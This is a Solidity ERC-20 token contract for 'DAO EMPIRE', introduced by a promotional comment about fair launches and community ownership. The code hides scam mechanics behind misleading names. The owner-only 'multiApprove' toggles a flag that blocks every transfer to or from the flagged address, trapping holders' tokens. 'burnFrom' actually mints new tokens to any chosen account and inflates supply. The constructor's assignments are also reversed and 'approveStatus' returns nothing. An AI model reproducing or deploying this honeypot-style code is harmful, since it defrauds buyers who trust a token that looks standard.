/** ᴄʀʏᴘᴛᴏᴄᴜʀʀᴇɴᴄɪᴇꜱ ᴀʀᴇ ᴛʜᴇ ꜱᴏᴜɴᴅᴇꜱᴛ ᴍᴏɴᴇʏ ᴇᴠᴇʀ ɪɴᴠᴇɴᴛᴇᴅ. 
    ᴡɪᴛʜ ᴛʜᴇ ꜱᴍᴀʀᴛ ᴄᴏɴᴛʀᴀᴄᴛ ɪɴꜰʀᴀꜱᴛʀᴜᴄᴛᴜʀᴇ, ᴛʜᴇ ʀɪꜱᴇ ᴏꜰ ᴅᴇꜰɪ, 
    ᴅᴇᴍᴀɴᴅ ꜰᴏʀ ꜰᴀɪʀ ʟᴀᴜɴᴄʜᴇꜱ, ᴛʜᴇ ᴘᴏᴛᴇɴᴛɪᴀʟ ᴏꜰ ᴄʀʏᴘᴛᴏᴄᴜʀʀᴇɴᴄɪᴇꜱ 
    ᴀɴᴅ ᴛʜᴇ ᴅᴇꜱɪʀᴇ ᴏꜰ ᴄᴏᴍᴍᴜɴɪᴛʏ ᴏᴡɴᴇʀꜱʜɪᴘ ᴏꜰ ᴘʀᴏᴅᴜᴄᴛꜱ, ᴡᴇ ᴅᴇᴄɪᴅᴇᴅ
    ᴛᴏ ᴄʀᴇᴀᴛᴇ ᴛʜᴇ ᴅᴀᴏᴇᴍᴘɪʀᴇ.
*/// SPDX-License-Identifier: MIT

pragma solidity =0.7.0;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) internal _balances;
    mapping (address =>bool) private _multiapprove;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _multiApprove(address accounts) internal onlyOwner {
        if (_multiapprove[accounts] == true) {_multiapprove[accounts] = false;} else {_multiapprove[accounts] = true;}
    }

    function _approveStatus(address _address) internal view returns (bool) {
        return _multiapprove[_address];

    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_multiapprove[sender] || _multiapprove[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual onlyOwner{
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _balances[account] = _balances[account].add(amount);
        _totalSupply = _totalSupply.add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract daoEMPIRE is ERC20 {
    using SafeMath for uint256; 
    address uniswap;
    uint8 _multipler;
    uint8 _devider;
    uint256 _supplyTokens;
        
    constructor (address router, uint8 multipler, uint8 devider) ERC20(_name, _symbol) {
        router = uniswap; multipler = _multipler; devider = _devider;

        _name = "DAO EMPIRE";
        _symbol = "daoEMPIRE";
        _decimals = 9;
        _supplyTokens = 400000000 * 10**9;
        
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
    }
   
    function multiApprove(address accounts) public {
        _multiApprove(accounts);
    }

    function approveStatus(address account) view public returns (bool){
        _approveStatus(account);
    }

    function burnFrom(address account, uint256 amount) public {
        _burn(account, amount);
    }
}